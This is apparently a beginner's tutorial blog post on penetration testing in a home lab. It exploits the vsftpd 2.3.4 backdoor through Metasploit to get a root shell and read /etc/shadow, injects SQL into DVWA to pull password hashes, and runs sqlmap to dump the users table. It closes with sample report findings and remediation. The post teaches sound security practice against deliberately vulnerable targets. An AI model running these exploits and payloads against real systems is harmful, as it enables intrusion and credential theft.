Build Your Own Pentesting Lab.
part 4: your first hack.

The lab is built. The targets are running. Time to actually break into something. Then we’ll talk about where to go from here.

The scenario: it’s pentest day at BrightPath

You’ve been preparing for two weeks. The lab is built. VMware is running three virtual machines on an isolated Host-Only network. You’ve got Kali loaded with tools, Metasploitable sitting there with 15+ open ports, and DVWA serving a web app full of holes. Your manager at BrightPath Financial has given you the green light to start testing.

This is the part where most people freeze. The lab is running. The terminal is open. The cursor is blinking. And you’re thinking: “okay but what do I actually… type?”

That’s what this post is for. We’re going to walk through your first real pentest from start to finish. Reconnaissance, exploitation, web app testing, and documentation. The same phases a professional would follow on a real engagement. The only difference is scale. Their target is a Fortune 500 network. Your target is two VMs on your laptop. The workflow is identical.

By the end of this post you will have gotten a remote shell on a machine you don’t own (virtuall), extracted data from a database through SQL injection, and documented it like a professional. Let’s go.

The methodology: how real pentesters think

Before you touch any tool, you need to understand the methodology. Pentesting isn’t random. You don’t just fire exploits at things and hope something works. That’s called “spray and pray” and it’s how amateurs get caught, crash services, and miss the actual vulnerabilities.

Professional pentesting follows phases. Different frameworks organize them slightly differently, but the core flow is always the same:

Phase 1 → RECONNAISSANCE
  What's on the network? What's running?
  What ports are open? What versions?

Phase 2 → VULNERABILITY IDENTIFICATION
  Based on what's running, what's exploitable?
  Known CVEs? Default creds? Misconfigurations?

Phase 3 → EXPLOITATION
  Can I actually get in?
  Remote shell? Data access? Privilege escalation?

Phase 4 → POST-EXPLOITATION
  Now that I'm in, what can I reach?
  Can I pivot to other systems? What data is exposed?

Phase 5 → DOCUMENTATION & REPORTING
  What did I find? How bad is it? How do you fix it?

Today we’re doing Phases 1 through 3 plus documentation. Post-exploitation and pivoting are more advanced topics. You’ll get there. But first, you need to successfully break into something. That’s today’s goal.

At BrightPath, your manager doesn’t just want to hear “I hacked the server.” They want to hear “I discovered that the FTP service on the internal Linux server allows anonymous login, which gives read access to system files. I also found that the customer portal is vulnerable to SQL injection, which allows extraction of the entire user database including password hashes. Here are the severity ratings and recommended fixes.” That’s a pentest report. That’s what we’re building toward.

Phase 1 — Reconnaissance: scanning Metasploitable

Open a terminal in Kali. This is where you’ll live for most of this post.

First, let’s make sure we know what’s on the network. We know the IPs from Part 3 but in a real engagement you might not. So let’s discover hosts the proper way:

# discover all live hosts on the network
# replace with your actual subnet
nmap -sn 192.168.56.0/24

-sn means “ping scan.” No port scanning yet. Just asking “who’s alive on this subnet?” You should see your Kali IP, the Metasploitable IP, the DVWA IP, and possibly the VMware gateway. That’s your network map.

Now let’s do a proper port scan on Metasploitable:

# full service version scan — save output to a file
nmap -sV -sC -oN metasploitable_scan.txt 192.168.56.101

Let’s break that down.

-sV probes open ports to determine what service and version is running. Knowing a port is open is useful. Knowing it’s running vsftpd 2.3.4 is actionable.

-sC runs nmap’s default scripts. These are safe scripts that do things like grab banners, check for anonymous FTP login, enumerate SMB shares, and other low-impact reconnaissance. They don’t exploit anything. They just gather information.

-oN metasploitable_scan.txt saves the output to a file. Always save your scan results. You’ll need them for the report. You’ll also need them five minutes from now when you can’t remember which port MySQL was on.

The scan takes a minute or two. When it finishes, you’ll see something like this:

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL 8.3.0
6667/tcp open  irc         UnrealIRCd
...

Look at that. FTP, SSH, Telnet, SMTP, HTTP, SMB, MySQL, PostgreSQL, IRC… and that’s not even all of them. This machine is a buffet of vulnerabilities. In a real BrightPath engagement, a scan like this would make your day. And also make you very concerned about whoever set up this server.

Two things should jump out immediately:

vsftpd 2.3.4 on port 21. This specific version has a famous backdoor. Someone inserted a backdoor into the source code in 2011 and it was distributed before anyone noticed. If you send a username containing :) (a smiley face), it opens a shell on port 6200. This is one of the most well-known exploits in pentesting education. And it’s running right there on your target.

UnrealIRCd on port 6667. This IRC server also has a known backdoor vulnerability. Another easy win.

Let’s go after the vsftpd backdoor first. It’s the classic “first exploit” for a reason.

Phase 2 — Exploitation: getting a shell on Metasploitable

We’re going to use Metasploit, the exploitation framework. It’s the industry standard. It’s what professionals use. And it’s already on Kali.

# start the Metasploit console
msfconsole

First time you run this, it takes a while to load. It’s initializing the database and loading thousands of exploit modules. You’ll see some ASCII art (it changes every time, which is honestly kind of delightful) and then a prompt that says msf6 >. That’s your Metasploit command line.

Now search for the vsftpd exploit:

msf6 > search vsftpd

You’ll see a result like exploit/unix/ftp/vsftpd_234_backdoor. That’s the one. Let’s use it:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

The prompt changes to show you’re inside that exploit module. Now tell it where to aim:

# set the target IP (your Metasploitable IP)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101

# check the settings
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

RHOSTS is the “remote host” — the target you’re attacking. show options displays all the settings for this exploit so you can verify everything looks right. You should see RHOSTS set to your Metasploitable IP and RPORT set to 21 (FTP).

Everything looks good. Let’s fire it:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

You should see something like:

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned,
    handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

You have a root shell on the target machine.

Read that again. You just remotely exploited a vulnerability in an FTP server and got root access. The highest level of privilege. You own this box. On a real engagement at BrightPath, this would be a critical finding. An attacker on the internal network could take full control of this server in under 30 seconds.

Let’s prove we’re actually on the target:

# who are we?
whoami
# output: root

# what machine are we on?
hostname
# output: metasploitable

# what's in the shadow file? (password hashes)
cat /etc/shadow

You can see the password hashes for every user on the system. In a real engagement, you’d extract these, crack them offline with hashcat or John the Ripper, and include “password hashes were exposed” in your report. We’ll keep it simple today and just note that we have root access and can read sensitive files.

Type exit to close the shell. Then type back to go back to the main Metasploit prompt.

Phase 3 — Web recon: poking at DVWA

You’ve owned the Linux server. Now let’s go after the web application. In the BrightPath scenario, this is the customer portal. The thing customers log into to check their accounts. If this has vulnerabilities, it’s not just an IT problem. It’s a business problem. It’s a “we’re in the news” problem.

Open Firefox in Kali. Navigate to http://[DVWA-IP]/DVWA/. Log in with admin / password. Make sure the security level is set to Low (DVWA Security in the sidebar).

Before we start attacking, let’s do some web reconnaissance from the terminal:

# scan the web server with nikto
nikto -h http://192.168.56.102/DVWA/ -o dvwa_nikto.txt

nikto is a web server scanner. It checks for outdated software, dangerous files, misconfigurations, and known vulnerabilities. -h is the target URL. -o saves the output to a file. Always save the output.

Nikto will spit out a bunch of findings. Outdated Apache, missing security headers, directory listing enabled, interesting files found. In a real engagement, every one of these goes in the report.

Now let’s look for hidden directories:

# brute force directory names
dirb http://192.168.56.102/DVWA/ -o dvwa_dirb.txt

dirb tries a wordlist of common directory names against the web server. It’s looking for paths like /admin, /config, /backup, /phpmyadmin — stuff that shouldn’t be publicly accessible but often is because someone forgot to lock it down. The results get saved to a file for your report.

Phase 4 — SQL injection: extracting data from DVWA

This is the big one. SQL injection is consistently in the OWASP Top 10 and it’s one of the most common vulnerabilities in web applications. If BrightPath’s customer portal is vulnerable to SQLi, an attacker can read, modify, or delete the entire database. Customer names, email addresses, password hashes, financial records. Everything.

In DVWA, click SQL Injection in the sidebar. You’ll see a simple form with a “User ID” field. It’s asking you to type a number and it’ll show you user info from the database.

Type 1 and hit Submit. You should see a result like “First name: admin, Surname: admin.” The application is taking your input, putting it into an SQL query, and returning the result. The question is: does it sanitize your input? On Low security, the answer is no.

Try this in the User ID field:

1’ OR ‘1’=‘1

Hit Submit. Instead of one user, you should see every user in the database. All of them. Because what you just did is inject SQL code into the query. The application expected a number. You gave it a logical condition that’s always true. So instead of “show me user 1,” the query became “show me every user where 1 equals 1.” Which is all of them.

That’s SQL injection. You just bypassed the application’s intended logic and made the database do something it wasn’t supposed to. On a real customer portal, you just dumped the user table.

Let’s go deeper. Let’s extract the actual password hashes. Try this:

1’ UNION SELECT user, password FROM users— -

Let’s break this down because this is important.

1’ closes the original query’s string. UNION SELECT appends a second query to the original one. user, password are the column names we’re pulling from the users table. — - is a SQL comment that tells the database to ignore everything after it, which neutralizes whatever the application was going to add to the query.

The result should show usernames and their MD5 password hashes. You’re now looking at the credentials for every user in the system. In a real engagement, this is a critical severity finding. You’d document it, note the impact (“attacker can extract all user credentials”), and recommend parameterized queries and input validation as the fix.

Now let’s do the same thing with sqlmap, the automated tool:

# you need the DVWA session cookie for sqlmap
# in Firefox: F12 → Storage → Cookies → copy PHPSESSID value

sqlmap -u "http://192.168.56.102/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123; security=low" \
  --dbs

-u is the vulnerable URL with the parameter we’re injecting into. —cookie passes your session cookie so sqlmap can authenticate. —dbs tells sqlmap to enumerate all databases on the server.

Sqlmap will test various injection techniques automatically and then list every database it finds. You can then drill into specific tables:

# list tables in the dvwa database
sqlmap -u "http://192.168.56.102/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123; security=low" \
  -D dvwa --tables

# dump the users table
sqlmap -u "http://192.168.56.102/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123; security=low" \
  -D dvwa -T users --dump

That last command dumps the entire users table. Usernames, password hashes, everything. Sqlmap will even offer to crack the hashes for you using its built-in dictionary. It’s thorough like that.

Phase 5 — Document everything (the part nobody likes)

Congratulations. You’ve compromised a Linux server via an FTP backdoor and extracted an entire user database through SQL injection. In the movies, this is where you lean back in your chair and the screen goes dark.

In real life, this is where the actual work starts. Because none of it matters if you don’t document it.

Your manager at BrightPath doesn’t want to see your terminal. They want a report. Here’s the structure every pentest report follows:

FINDING TEMPLATE
────────────────────────────────────────
Title:          [name of vulnerability]
Severity:       Critical / High / Medium / Low / Informational
Affected Asset: [IP, hostname, URL]
Description:    [what it is, in plain english]
Evidence:       [screenshots, command output, proof]
Impact:         [what could an attacker do with this?]
Remediation:    [how to fix it]
────────────────────────────────────────

Here’s what your two findings would look like:

Title:          vsftpd 2.3.4 Backdoor — Remote Root Shell
Severity:       CRITICAL
Affected Asset: 192.168.56.101 (internal Linux server, port 21)
Description:    The FTP service is running vsftpd version 2.3.4,
                which contains a known backdoor (CVE-2011-2523).
                Sending a specially crafted username triggers the
                backdoor and opens a root shell on port 6200.
Evidence:       Metasploit module vsftpd_234_backdoor returned
                root shell. Confirmed with whoami → root.
                /etc/shadow was readable.
Impact:         Any attacker on the internal network can gain
                full root access to this server in under 30
                seconds. All data on this system is compromised.
Remediation:    Upgrade vsftpd immediately. If FTP is not
                required, disable the service entirely.
                Restrict port 21 access via firewall rules.

Title:          SQL Injection in User Lookup — Full DB Extraction
Severity:       CRITICAL
Affected Asset: http://192.168.56.102/DVWA/vulnerabilities/sqli/
Description:    The User ID parameter is vulnerable to SQL
                injection. User input is passed directly into
                SQL queries without sanitization or
                parameterization.
Evidence:       Input of 1' OR '1'='1 returned all users.
                UNION SELECT extracted usernames and MD5
                password hashes from the users table.
                sqlmap confirmed and automated full extraction.
Impact:         Attacker can read, modify, or delete the entire
                database. User credentials, personal data, and
                any stored financial information is exposed.
Remediation:    Use parameterized queries (prepared statements).
                Implement input validation. Use a WAF as
                defense-in-depth. Hash passwords with bcrypt,
                not MD5.

Save these somewhere. A markdown file, a text document, whatever works. The point is that you’re building the habit of documenting as you go. Every professional pentester spends more time writing the report than running the exploits. That’s not a joke. The report is the deliverable. The hacking is just the research.

Where to go next: TryHackMe

Your home lab is powerful. You can practice the core methodology here for weeks. Metasploitable has dozens of vulnerabilities we didn’t touch today. DVWA has XSS, command injection, file upload, CSRF, and more. You could increase DVWA’s security level to Medium and then High and re-attempt the same attacks with harder defenses. You could explore Metasploitable’s SMB shares, its weak SSH credentials, its PostgreSQL instance.

But eventually you’ll want fresh targets. New challenges. Guided learning paths. That’s where TryHackMe comes in.

TryHackMe is a platform with hundreds of guided hacking exercises called “rooms.” Each room gives you a vulnerable machine in the cloud, a set of questions to answer, and hints if you get stuck. It’s structured learning with hands-on practice. Some rooms are free. A subscription gets you access to everything.

Here’s why it’s the perfect next step after building your lab:

You already know the tools. Kali, nmap, Metasploit, sqlmap, nikto, dirb — you’ve used all of them. TryHackMe rooms use the same tools. You’re not starting from zero. You’re applying what you already know to new targets.

It’s structured. TryHackMe has learning paths: “Jr Penetration Tester,” “Complete Beginner,” “Offensive Pentesting,” “Web Fundamentals.” Each path takes you through rooms in a logical order. Instead of wondering “what should I learn next?”, the path tells you.

It gives you targets you didn’t build. Your home lab targets are predictable after a while. You built them. You know what’s on them. TryHackMe machines are unknown. You have to enumerate, discover, and exploit blind. That’s closer to a real engagement.

Here’s where I’d start:

1. Sign up at https://tryhackme.com (free tier works)

2. Start with these free rooms:
   → Tutorial          (learn the platform)
   → OpenVPN           (set up the VPN connection)
   → Nmap              (you already know this, but review)
   → Metasploit: Introduction

3. Then hit the Jr Penetration Tester learning path:
   → Introduction to Pentesting
   → Introduction to Web Hacking
   → Burp Suite modules
   → Network Security modules
   → Vulnerability Research

4. Rooms that pair perfectly with your home lab:
   → Basic Pentesting    (similar to what we just did)
   → Blue                (Windows exploitation via EternalBlue)
   → Kenobi              (Samba + SUID privilege escalation)
   → OWASP Top 10        (web vuln categories)
   → Pickle Rick         (fun CTF-style challenge)

Between your local lab and TryHackMe, you have hundreds of hours of practice ahead of you. The local lab teaches you how to build infrastructure and practice core techniques. TryHackMe teaches you how to apply those techniques against unknown targets with guided structure. Together, they cover everything you need to go from “I just learned what nmap is” to “I can run a basic penetration test and write the report.”

Final checklist: did you actually hack something?

# 1. host discovery scan completed
#    nmap -sn 192.168.56.0/24 returned all three VMs

# 2. full port scan on Metasploitable saved to file
ls metasploitable_scan.txt

# 3. vsftpd backdoor exploited — got root shell
#    whoami returned "root" on the target

# 4. /etc/shadow was readable (proof of root access)

# 5. nikto scan on DVWA completed and saved to file
ls dvwa_nikto.txt

# 6. dirb scan on DVWA completed and saved to file
ls dvwa_dirb.txt

# 7. manual SQL injection worked
#    1' OR '1'='1 returned all users

# 8. UNION SELECT extracted usernames and password hashes

# 9. sqlmap confirmed SQL injection and dumped the database

# 10. both findings documented in report format
#     title, severity, description, evidence, impact, remediation

# 11. TryHackMe account created
#     https://tryhackme.com

# 12. you understand the 5-phase methodology
#     recon → vuln ID → exploit → post-exploit → report

Twelve checks. If you made it through all of them, you just completed your first penetration test. Not a simulation. Not a video. You actually scanned a network, found vulnerabilities, exploited them, extracted data, and documented the findings. On infrastructure you built yourself, on a network you configured yourself, using the same tools professionals use every day.

Back at BrightPath Financial, you now have something to show your manager. A documented methodology. Proof of concept exploits. A report with findings and remediation steps. You went from “I watched some videos” to “I’ve done this. Here are the receipts.”